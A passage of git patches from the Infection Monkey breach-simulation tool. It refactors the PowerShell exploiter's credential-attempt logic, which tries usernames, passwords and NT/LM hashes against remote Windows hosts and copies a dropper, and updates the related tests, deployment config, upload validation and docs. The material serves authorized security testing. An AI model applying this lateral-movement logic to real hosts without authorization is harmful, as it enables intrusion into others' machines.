SecretType: {creds.secret_type.name} -- Error: {ex}" - ) - self._report_login_attempt(False, creds) return None + def _is_client_auth_valid(self, creds: Credentials, client: IPowerShellClient) -> bool: + try: + # attempt to execute dir command to know if authentication was successful + client.execute_cmd("dir") + + logger.info( + f"Successfully logged into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, Secret Type: {creds.secret_type.name}" + ) + self._report_login_attempt(True, creds) + + return True + except Exception as ex: # noqa: F841 + logger.debug( + f"Error logging into {self.host.ip_addr} using Powershell. User: " + f"{creds.username}, SecretType: {creds.secret_type.name} -- Error: {ex}" + ) + self._report_login_attempt(False, creds) + return False + def _report_login_attempt(self, result: bool, credentials: Credentials): if credentials.secret_type in [SecretType.PASSWORD, SecretType.CACHED]: self.report_login_attempt(result, credentials.username, password=credentials.secret) diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index ad5854d4a..55ccd477a 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -77,9 +77,6 @@ class PowerShellClient(IPowerShellClient): connection_timeout=CONNECTION_TIMEOUT, ) - # attempt to execute dir command to know if authentication was successful - self.execute_cmd("dir") - def execute_cmd(self, cmd: str) -> str: output, _, _ = self._client.execute_cmd(cmd) return output From cc1c049ee91cb5f8edb374222c9e0e1c08eb8933 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 9 Sep 2021 11:34:38 +0300 Subject: [PATCH 139/454] Refactor test_login_attemps_correctly_reported in test_powershell.py to address the changes in the flow of powershell and powershell client --- .../exploit/test_powershell.py | 71 +++++-------------- 1 file changed, 17 insertions(+), 54 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index b9254c1d8..fa24ee7ed 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -157,65 +157,28 @@ def test_failed_monkey_execution(monkeypatch, powershell_exploiter): def test_login_attemps_correctly_reported(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.get_host_architecture = lambda: WIN_ARCH_32 - mock_client.copy_file = MagicMock(return_value=True) - mock_client.execute_cmd_as_detached_process = MagicMock(side_effect=Exception) + mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.return_value.copy_file = MagicMock(return_value=True) - def allow_ntlm(_, credentials: Credentials, auth_options: AuthOptions): - if credentials.username == USER_LIST[1] and credentials.secret == NT_HASH_LIST[1]: - return mock_client + # execute_cmd method will throw exceptions for 5 first calls. + # 6-th call doesn't throw an exception == credentials successful + execute_cmd_returns = [Exception, Exception, Exception, Exception, Exception, True] + mock_client.return_value.execute_cmd = MagicMock(side_effect=execute_cmd_returns) - raise TestAuthenticationError - - mock_powershell_client = MagicMock(side_effect=allow_ntlm) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) powershell_exploiter.exploit_host() - assert { - "result": False, - "user": USER_LIST[1], - "password": None, - "lm_hash": "", - "ntlm_hash": "", - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": False, - "user": USER_LIST[1], - "password": PASSWORD_LIST[0], - "lm_hash": "", - "ntlm_hash": "", - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": False, - "user": USER_LIST[0], - "password": "", - "lm_hash": LM_HASH_LIST[0], - "ntlm_hash": "", - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": False, - "user": USER_LIST[1], - "password": "", - "lm_hash": "", - "ntlm_hash": NT_HASH_LIST[0], - "ssh_key": "", - } in powershell_exploiter.exploit_attempts - - assert { - "result": True, - "user": USER_LIST[1], - "password": "", - "lm_hash": "", - "ntlm_hash": NT_HASH_LIST[1], - "ssh_key": "", - } in powershell_exploiter.exploit_attempts + # Total 6 attempts reported, 5 failed and 1 succeeded + assert len(powershell_exploiter.exploit_attempts) == len(execute_cmd_returns) + assert ( + len([attempt for attempt in powershell_exploiter.exploit_attempts if not attempt["result"]]) + == 5 + ) + assert ( + len([attempt for attempt in powershell_exploiter.exploit_attempts if attempt["result"]]) + == 1 + ) def test_build_monkey_execution_command(): From 1ba10d70595c01104a7c730ecb6dd26e9cc3b687 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 9 Sep 2021 10:33:29 +0200 Subject: [PATCH 140/454] UT: Fix powershell copy_file tests --- .../infection_monkey/exploit/test_powershell.py | 16 +++++++--------- 1 file changed, 7 insertions(+), 9 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index fa24ee7ed..7c2a04710 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -118,25 +118,23 @@ def authenticate(mock_client): ) def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch): mock_client = MagicMock() - mock_client.get_host_architecture = lambda: arch - mock_client.copy_file = MagicMock(return_value=True) + mock_client.return_value.get_host_architecture = lambda: arch + mock_client.return_value.copy_file = MagicMock(return_value=True) - mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) success = powershell_exploiter.exploit_host() - assert dropper_target_path in mock_client.copy_file.call_args[0][1] + assert dropper_target_path in mock_client.return_value.copy_file.call_args[0][1] assert success def test_failed_copy(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.get_host_architecture = lambda: WIN_ARCH_32 - mock_client.copy_file = MagicMock(return_value=False) + mock_client.return_value.get_host_architecture = lambda: WIN_ARCH_32 + mock_client.return_value.copy_file = MagicMock(return_value=False) - mock_powershell_client = MagicMock(side_effect=authenticate(mock_client)) - monkeypatch.setattr(powershell, "PowerShellClient", mock_powershell_client) + monkeypatch.setattr(powershell, "PowerShellClient", mock_client) success = powershell_exploiter.exploit_host() assert not success From c46c02507f6f03b3c3340fb45ec9cbb7c83a048f Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Sep 2021 15:21:34 +0530 Subject: [PATCH 141/454] build_scripts: Extract deployment field from server configs to separate files for appimage and docker --- build_scripts/appimage/deployment.json | 3 +++ build_scripts/appimage/server_config.json.standard | 3 +-- build_scripts/docker/deployment.json | 3 +++ build_scripts/docker/server_config.json | 3 +-- 4 files changed, 8 insertions(+), 4 deletions(-) create mode 100644 build_scripts/appimage/deployment.json create mode 100644 build_scripts/docker/deployment.json diff --git a/build_scripts/appimage/deployment.json b/build_scripts/appimage/deployment.json new file mode 100644 index 000000000..914c44d4f --- /dev/null +++ b/build_scripts/appimage/deployment.json @@ -0,0 +1,3 @@ +{ + "deployment": "standard" +} diff --git a/build_scripts/appimage/server_config.json.standard b/build_scripts/appimage/server_config.json.standard index af975a9e0..889654ea2 100644 --- a/build_scripts/appimage/server_config.json.standard +++ b/build_scripts/appimage/server_config.json.standard @@ -2,8 +2,7 @@ "data_dir": "~/.monkey_island", "log_level": "DEBUG", "environment": { - "server_config": "password", - "deployment": "standard" + "server_config": "password" }, "mongodb": { "start_mongodb": true diff --git a/build_scripts/docker/deployment.json b/build_scripts/docker/deployment.json new file mode 100644 index 000000000..66125c06f --- /dev/null +++ b/build_scripts/docker/deployment.json @@ -0,0 +1,3 @@ +{ + "deployment": "docker" +} diff --git a/build_scripts/docker/server_config.json b/build_scripts/docker/server_config.json index 77e5d9855..ea464f181 100644 --- a/build_scripts/docker/server_config.json +++ b/build_scripts/docker/server_config.json @@ -2,8 +2,7 @@ "data_dir": "/monkey_island_data", "log_level": "DEBUG", "environment": { - "server_config": "password", - "deployment": "docker" + "server_config": "password" }, "mongodb": { "start_mongodb": false From 2b9b755177ad51704fd8260dba7344b4991fc664 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Sep 2021 16:29:31 +0530 Subject: [PATCH 142/454] island: Extract deployment type and version number into deployment.json --- monkey/monkey_island/cc/deployment.json | 8 ++++++++ monkey/monkey_island/cc/server_config.json | 3 +-- 2 files changed, 9 insertions(+), 2 deletions(-) create mode 100644 monkey/monkey_island/cc/deployment.json diff --git a/monkey/monkey_island/cc/deployment.json b/monkey/monkey_island/cc/deployment.json new file mode 100644 index 000000000..474c6e6c0 --- /dev/null +++ b/monkey/monkey_island/cc/deployment.json @@ -0,0 +1,8 @@ +{ + "version": { + "major": 1, + "minor": 11, + "patch": 0 + }, + "deployment": "develop" +} diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json index 5d8dc85aa..7ae515179 100644 --- a/monkey/monkey_island/cc/server_config.json +++ b/monkey/monkey_island/cc/server_config.json @@ -1,8 +1,7 @@ { "log_level": "DEBUG", "environment": { - "server_config": "password", - "deployment": "develop" + "server_config": "password" }, "mongodb": { "start_mongodb": true From 2af3878e8193870fa89aba64abd3beb996486485 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Sep 2021 16:36:26 +0530 Subject: [PATCH 143/454] common: Pick up version details from deployment.json in common/version.py --- monkey/common/version.py | 14 +++++++++++--- 1 file changed, 11 insertions(+), 3 deletions(-) diff --git a/monkey/common/version.py b/monkey/common/version.py index 85a263be0..999f173fa 100644 --- a/monkey/common/version.py +++ b/monkey/common/version.py @@ -1,11 +1,19 @@ # To get the version from shell, run `python ./version.py` (see `python ./version.py -h` for # details). import argparse +import json from pathlib import Path -MAJOR = "1" -MINOR = "11" -PATCH = "0" +deployment_info_file_path = Path(__file__).parent.parent.joinpath( + "monkey_island", "cc", "deployment.json" +) +with open(deployment_info_file_path, "r") as deployment_info_file: + deployment_info = json.load(deployment_info_file) + MAJOR = deployment_info["version"]["major"] + MINOR = deployment_info["version"]["minor"] + PATCH = deployment_info["version"]["patch"] + + build_file_path = Path(__file__).parent.joinpath("BUILD") with open(build_file_path, "r") as build_file: BUILD = build_file.read() From a62328dcf6a1cc29598e76fc20cdc3c71529ec15 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Sep 2021 17:31:33 +0530 Subject: [PATCH 144/454] island: Get deployment type from file in env config --- .../cc/environment/environment_config.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index b013bdcf3..29bda44d8 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -2,23 +2,34 @@ from __future__ import annotations import json import os -from typing import Dict, List +from typing import Dict, List, Optional from monkey_island.cc.environment.user_creds import UserCreds from monkey_island.cc.resources.auth.auth_user import User from monkey_island.cc.resources.auth.user_store import UserStore +from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH class EnvironmentConfig: def __init__(self, file_path): self._server_config_path = os.path.expanduser(file_path) self.server_config = None - self.deployment = None + self.deployment = self._get_deployment_from_file() self.user_creds = None self.aws = None self._load_from_file(self._server_config_path) + def _get_deployment_from_file(self) -> Optional[str]: + deployment = None + + deployment_info_file_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "deployment.json") + with open(deployment_info_file_path, "r") as deployment_info_file: + deployment_info = json.load(deployment_info_file) + deployment = deployment_info["deployment"] + + return deployment + def _load_from_file(self, file_path): file_path = os.path.expanduser(file_path) From 2b4beb22007da6b1e830bf7cadb1bd60818568ac Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Sep 2021 17:36:57 +0530 Subject: [PATCH 145/454] island: Don't set deployment type from server config in env config --- monkey/monkey_island/cc/environment/environment_config.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/environment/environment_config.py b/monkey/monkey_island/cc/environment/environment_config.py index 29bda44d8..bd1429938 100644 --- a/monkey/monkey_island/cc/environment/environment_config.py +++ b/monkey/monkey_island/cc/environment/environment_config.py @@ -46,7 +46,6 @@ class EnvironmentConfig: aws = dict_data["aws"] if "aws" in dict_data else None self.server_config = dict_data["server_config"] - self.deployment = dict_data["deployment"] self.user_creds = _get_user_credentials_from_config(dict_data) self.aws = aws From 2fd38061b26aa2321add9f6a87497dc4b97dca6c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Sep 2021 14:01:58 +0200 Subject: [PATCH 146/454] UT: Add unit tests for pba_upload --- .../cc/resources/pba_file_upload.py | 18 +++ .../cc/resources/test_pba_file_upload.py | 120 ++++++++++++++++++ 2 files changed, 138 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 23554ab06..877aed437 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -27,6 +27,9 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file to send, linux or windows :return: Returns file contents """ + if self.check_file_type(file_type): + return Response(status=422, mimetype="text/plain") + # Verify that file_name is indeed a file from config if file_type == LINUX_PBA_TYPE: filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH)) @@ -41,6 +44,9 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was received, linux or windows :return: Returns flask response object with uploaded file's filename """ + if self.check_file_type(file_type): + return Response(status=422, mimetype="text/plain") + filename = FileUpload.upload_pba_file( request.files["filepond"], (file_type == LINUX_PBA_TYPE) ) @@ -74,6 +80,9 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was deleted, linux of windows :return: Empty response """ + if self.check_file_type(file_type): + return Response(status=422, mimetype="text/plain") + filename_path = ( PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH ) @@ -83,3 +92,12 @@ class FileUpload(flask_restful.Resource): ConfigService.set_config_value(filename_path, "") return {} + + @staticmethod + def check_file_type(file_type): + """ + Check if the file type is not supported + :param file_type: Type indicates which file was received, linux or windows + :return: Boolean + """ + return file_type not in {LINUX_PBA_TYPE, WINDOWS_PBA_TYPE} diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py new file mode 100644 index 000000000..085d555ea --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py @@ -0,0 +1,120 @@ +import pytest +from tests.utils import raise_ + +from monkey_island.cc.resources.pba_file_upload import LINUX_PBA_TYPE, WINDOWS_PBA_TYPE +from monkey_island.cc.services.post_breach_files import PostBreachFilesService + +TEST_FILE = b"""-----------------------------1 +Content-Disposition: form-data; name="filepond" + +{} +-----------------------------1 +Content-Disposition: form-data; name="filepond"; filename="test.py" +Content-Type: text/x-python + +m0nk3y +-----------------------------1--""" + + +@pytest.fixture(autouse=True) +def custom_pba_directory(tmpdir): + PostBreachFilesService.initialize(tmpdir) + + +@pytest.fixture +def fake_set_config_value(monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.services.config.ConfigService.set_config_value", lambda _, __: None + ) + + +@pytest.fixture +def fake_get_config_value(monkeypatch): + monkeypatch.setattr( + "monkey_island.cc.services.config.ConfigService.get_config_value", lambda _: "test.py" + ) + + +@pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) +def test_pba_file_upload_post(flask_client, pba_os, monkeypatch, fake_set_config_value): + resp = flask_client.post( + f"/api/fileUpload/{pba_os}", + data=TEST_FILE, + content_type="multipart/form-data; " "boundary=---------------------------" "1", + follow_redirects=True, + ) + assert resp.status_code == 200 + + +def test_pba_file_upload_post__invalid(flask_client, monkeypatch, fake_set_config_value): + resp = flask_client.post( + "/api/fileUpload/bogus", + data=TEST_FILE, + content_type="multipart/form-data; " "boundary=---------------------------" "1", + follow_redirects=True, + ) + assert resp.status_code == 422 + + +@pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) +def test_pba_file_upload_post__internal_server_error( + flask_client, pba_os, monkeypatch, fake_set_config_value +): + monkeypatch.setattr( + "monkey_island.cc.resources.pba_file_upload.FileUpload.upload_pba_file", + lambda x, y: raise_(Exception()), + ) + + resp = flask_client.post( + f"/api/fileUpload/{pba_os}", + data=TEST_FILE, + content_type="multipart/form-data; boundary=---------------------------1", + follow_redirects=True, + ) + assert resp.status_code == 500 + + +@pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) +def test_pba_file_upload_get__file_not_found( + flask_client, pba_os, monkeypatch, fake_get_config_value +): + resp = flask_client.get(f"/api/fileUpload/{pba_os}?load=bogus_mogus.py") + assert resp.status_code == 404 + + +@pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) +def test_pba_file_upload_endpoint( + flask_client, pba_os, monkeypatch, fake_get_config_value, fake_set_config_value +): + resp_post = flask_client.post( + f"/api/fileUpload/{pba_os}", + data=TEST_FILE, + content_type="multipart/form-data; " "boundary=---------------------------" "1", + follow_redirects=True, + ) + resp_get = flask_client.get(f"/api/fileUpload/{pba_os}?load=test.py") + resp_delete = flask_client.delete( + f"/api/fileUpload/{pba_os}", data="test.py", content_type="text/plain;" + ) + assert resp_post.status_code == 200 + assert resp_get.status_code == 200 + assert resp_get.data.decode() == "m0nk3y" + assert resp_delete.status_code == 200 + + +def test_pba_file_upload_endpoint__invalid( + flask_client, monkeypatch, fake_set_config_value, fake_get_config_value +): + resp_post = flask_client.post( + "/api/fileUpload/bogus", + data=TEST_FILE, + content_type="multipart/form-data; " "boundary=---------------------------" "1", + follow_redirects=True, + ) + resp_get = flask_client.get("/api/fileUpload/bogus?load=test.py") + resp_delete = flask_client.delete( + "/api/fileUpload/bogus", data="test.py", content_type="text/plain;" + ) + assert resp_post.status_code == 422 + assert resp_get.status_code == 422 + assert resp_delete.status_code == 422 From 78ab3f176c9e632ca8c552d8c998d89e417650ba Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 10 Sep 2021 17:41:43 +0530 Subject: [PATCH 147/454] tests: Remove deployment field from unit tests' server configs --- .../server_configs/server_config_no_credentials.json | 3 +-- .../server_configs/server_config_partial_credentials.json | 1 - .../server_configs/server_config_with_credentials.json | 1 - 3 files changed, 1 insertion(+), 4 deletions(-) diff --git a/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json index 31da48aa4..eadc78473 100644 --- a/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json +++ b/monkey/tests/data_for_tests/server_configs/server_config_no_credentials.json @@ -1,7 +1,6 @@ { "environment" : { - "server_config": "password", - "deployment": "develop" + "server_config": "password" }, "mongodb": { "start_mongodb": true diff --git a/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json index e29d514cd..34a7f857c 100644 --- a/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json +++ b/monkey/tests/data_for_tests/server_configs/server_config_partial_credentials.json @@ -1,7 +1,6 @@ { "environment" : { "server_config": "password", - "deployment": "develop", "user": "test" }, "mongodb": { diff --git a/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json index 8690ef1c7..7732c240a 100644 --- a/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json +++ b/monkey/tests/data_for_tests/server_configs/server_config_with_credentials.json @@ -2,7 +2,6 @@ "log_level": "NOTICE", "environment" : { "server_config": "password", - "deployment": "develop", "user": "test", "password_hash": "abcdef" }, From c348a01b167531fb0a615e7a18ddc16739f7fc0c Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Sep 2021 14:48:39 +0200 Subject: [PATCH 148/454] UT: Improve readability on pba_file_upload --- .../cc/resources/pba_file_upload.py | 20 +++++++----------- .../cc/resources/test_pba_file_upload.py | 21 ++++++++++++------- 2 files changed, 21 insertions(+), 20 deletions(-) diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py index 877aed437..68be20e9a 100644 --- a/monkey/monkey_island/cc/resources/pba_file_upload.py +++ b/monkey/monkey_island/cc/resources/pba_file_upload.py @@ -1,4 +1,5 @@ import copy +from http import HTTPStatus import flask_restful from flask import Response, request, send_from_directory @@ -27,8 +28,8 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file to send, linux or windows :return: Returns file contents """ - if self.check_file_type(file_type): - return Response(status=422, mimetype="text/plain") + if self.is_pba_file_type_supported(file_type): + return Response(status=HTTPStatus.UNPROCESSABLE_ENTITY, mimetype="text/plain") # Verify that file_name is indeed a file from config if file_type == LINUX_PBA_TYPE: @@ -44,8 +45,8 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was received, linux or windows :return: Returns flask response object with uploaded file's filename """ - if self.check_file_type(file_type): - return Response(status=422, mimetype="text/plain") + if self.is_pba_file_type_supported(file_type): + return Response(status=HTTPStatus.UNPROCESSABLE_ENTITY, mimetype="text/plain") filename = FileUpload.upload_pba_file( request.files["filepond"], (file_type == LINUX_PBA_TYPE) @@ -80,8 +81,8 @@ class FileUpload(flask_restful.Resource): :param file_type: Type indicates which file was deleted, linux of windows :return: Empty response """ - if self.check_file_type(file_type): - return Response(status=422, mimetype="text/plain") + if self.is_pba_file_type_supported(file_type): + return Response(status=HTTPStatus.UNPROCESSABLE_ENTITY, mimetype="text/plain") filename_path = ( PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH @@ -94,10 +95,5 @@ class FileUpload(flask_restful.Resource): return {} @staticmethod - def check_file_type(file_type): - """ - Check if the file type is not supported - :param file_type: Type indicates which file was received, linux or windows - :return: Boolean - """ + def is_pba_file_type_supported(file_type: str) -> bool: return file_type not in {LINUX_PBA_TYPE, WINDOWS_PBA_TYPE} diff --git a/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py b/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py index 085d555ea..c06f0c400 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py +++ b/monkey/tests/unit_tests/monkey_island/cc/resources/test_pba_file_upload.py @@ -22,21 +22,21 @@ def custom_pba_directory(tmpdir): @pytest.fixture -def fake_set_config_value(monkeypatch): +def mock_set_config_value(monkeypatch): monkeypatch.setattr( "monkey_island.cc.services.config.ConfigService.set_config_value", lambda _, __: None ) @pytest.fixture -def fake_get_config_value(monkeypatch): +def mock_get_config_value(monkeypatch): monkeypatch.setattr( "monkey_island.cc.services.config.ConfigService.get_config_value", lambda _: "test.py" ) @pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) -def test_pba_file_upload_post(flask_client, pba_os, monkeypatch, fake_set_config_value): +def test_pba_file_upload_post(flask_client, pba_os, monkeypatch, mock_set_config_value): resp = flask_client.post( f"/api/fileUpload/{pba_os}", data=TEST_FILE, @@ -46,7 +46,7 @@ def test_pba_file_upload_post(flask_client, pba_os, monkeypatch, fake_set_config assert resp.status_code == 200 -def test_pba_file_upload_post__invalid(flask_client, monkeypatch, fake_set_config_value): +def test_pba_file_upload_post__invalid(flask_client, monkeypatch, mock_set_config_value): resp = flask_client.post( "/api/fileUpload/bogus", data=TEST_FILE, @@ -58,7 +58,7 @@ def test_pba_file_upload_post__invalid(flask_client, monkeypatch, fake_set_confi @pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) def test_pba_file_upload_post__internal_server_error( - flask_client, pba_os, monkeypatch, fake_set_config_value + flask_client, pba_os, monkeypatch, mock_set_config_value ): monkeypatch.setattr( "monkey_island.cc.resources.pba_file_upload.FileUpload.upload_pba_file", @@ -76,7 +76,7 @@ def test_pba_file_upload_post__internal_server_error( @pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) def test_pba_file_upload_get__file_not_found( - flask_client, pba_os, monkeypatch, fake_get_config_value + flask_client, pba_os, monkeypatch, mock_get_config_value ): resp = flask_client.get(f"/api/fileUpload/{pba_os}?load=bogus_mogus.py") assert resp.status_code == 404 @@ -84,7 +84,7 @@ def test_pba_file_upload_get__file_not_found( @pytest.mark.parametrize("pba_os", [LINUX_PBA_TYPE, WINDOWS_PBA_TYPE]) def test_pba_file_upload_endpoint( - flask_client, pba_os, monkeypatch, fake_get_config_value, fake_set_config_value + flask_client, pba_os, monkeypatch, mock_get_config_value, mock_set_config_value ): resp_post = flask_client.post( f"/api/fileUpload/{pba_os}", @@ -96,14 +96,19 @@ def test_pba_file_upload_endpoint( resp_delete = flask_client.delete( f"/api/fileUpload/{pba_os}", data="test.py", content_type="text/plain;" ) + resp_get_del = flask_client.get(f"/api/fileUpload/{pba_os}?load=test.py") assert resp_post.status_code == 200 + assert resp_get.status_code == 200 assert resp_get.data.decode() == "m0nk3y" + assert resp_delete.status_code == 200 + assert resp_get_del.status_code == 404 + def test_pba_file_upload_endpoint__invalid( - flask_client, monkeypatch, fake_set_config_value, fake_get_config_value + flask_client, monkeypatch, mock_set_config_value, mock_get_config_value ): resp_post = flask_client.post( "/api/fileUpload/bogus", From 92b829ede20e45aa742dabe5d7053d83fc7afc0e Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 10 Sep 2021 15:39:28 +0200 Subject: [PATCH 149/454] UI: Add AV explanation if binaries are missing --- docs/content/FAQ/_index.md | 2 +- docs/content/setup/windows.md | 2 +- .../src/components/ui-components/IslandMonkeyRunErrorModal.js | 1 + 3 files changed, 3 insertions(+), 2 deletions(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index e2ccc2d7e..aea686111 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -9,7 +9,7 @@ Below are some of the most common questions we receive about the Infection Monke - [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) -- [Is the Infection Monkey a malware/virus?](#is-infection-monkey-a-malwarevirus) +- [Is the Infection Monkey a malware/virus?](#is-the-infection-monkey-a-malwarevirus) - [Reset/enable the Monkey Island password](#resetenable-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) diff --git a/docs/content/setup/windows.md b/docs/content/setup/windows.md index 080a2a035..f629886fb 100644 --- a/docs/content/setup/windows.md +++ b/docs/content/setup/windows.md @@ -10,7 +10,7 @@ tags: ["setup", "windows"] ## Deployment {{% notice tip %}} -Don't get scared if the Infection Monkey gets [flagged as malware during the installation](/faq/#is-infection-monkey-a-malwarevirus). +Don't get scared if the Infection Monkey gets [flagged as malware during the installation](/faq/#is-the-infection-monkey-a-malwarevirus). {{% /notice %}} After running the installer, the following prompt should appear on the screen: diff --git a/monkey/monkey_island/cc/ui/src/components/ui-components/IslandMonkeyRunErrorModal.js b/monkey/monkey_island/cc/ui/src/components/ui-components/IslandMonkeyRunErrorModal.js index 61e0a9c8e..971d10a50 100644 --- a/monkey/monkey_island/cc/ui/src/components/ui-components/IslandMonkeyRunErrorModal.js +++ b/monkey/monkey_island/cc/ui/src/components/ui-components/IslandMonkeyRunErrorModal.js @@ -28,6 +28,7 @@ class IslandMonkeyRunErrorModal extends React.PureComponent { return ( Some Monkey binaries are not found where they should be...
    + Make sure that your antivirus is not deleting the binaries.

    You can download the files from here, at the bottommost section titled "Assets", and place them under the From 8d2b704bd98eb6f5e33434384a678bef613a6f2b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sat, 11 Sep 2021 13:15:55 -0400 Subject: [PATCH 150/454] Docs: Fix broken link in FAQ --- docs/content/FAQ/_index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/content/FAQ/_index.md b/docs/content/FAQ/_index.md index e2ccc2d7e..aea686111 100644 --- a/docs/content/FAQ/_index.md +++ b/docs/content/FAQ/_index.md @@ -9,7 +9,7 @@ Below are some of the most common questions we receive about the Infection Monke - [Where can I get the latest version of the Infection Monkey?](#where-can-i-get-the-latest-version-of-the-infection-monkey) - [How long does a single Infection Monkey agent run? Is there a time limit?](#how-long-does-a-single-infection-monkey-agent-run-is-there-a-time-limit) -- [Is the Infection Monkey a malware/virus?](#is-infection-monkey-a-malwarevirus) +- [Is the Infection Monkey a malware/virus?](#is-the-infection-monkey-a-malwarevirus) - [Reset/enable the Monkey Island password](#resetenable-the-monkey-island-password) - [Should I run the Infection Monkey continuously?](#should-i-run-the-infection-monkey-continuously) - [Which queries does the Infection Monkey perform to the internet exactly?](#which-queries-does-the-infection-monkey-perform-to-the-internet-exactly) From c1fc56d4ce339db98d2a44860fd1ec786f3e9fd5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 13 Sep 2021 18:47:28 +0200 Subject: [PATCH 151/454] Island: Change monkey code to use deployment.json Add 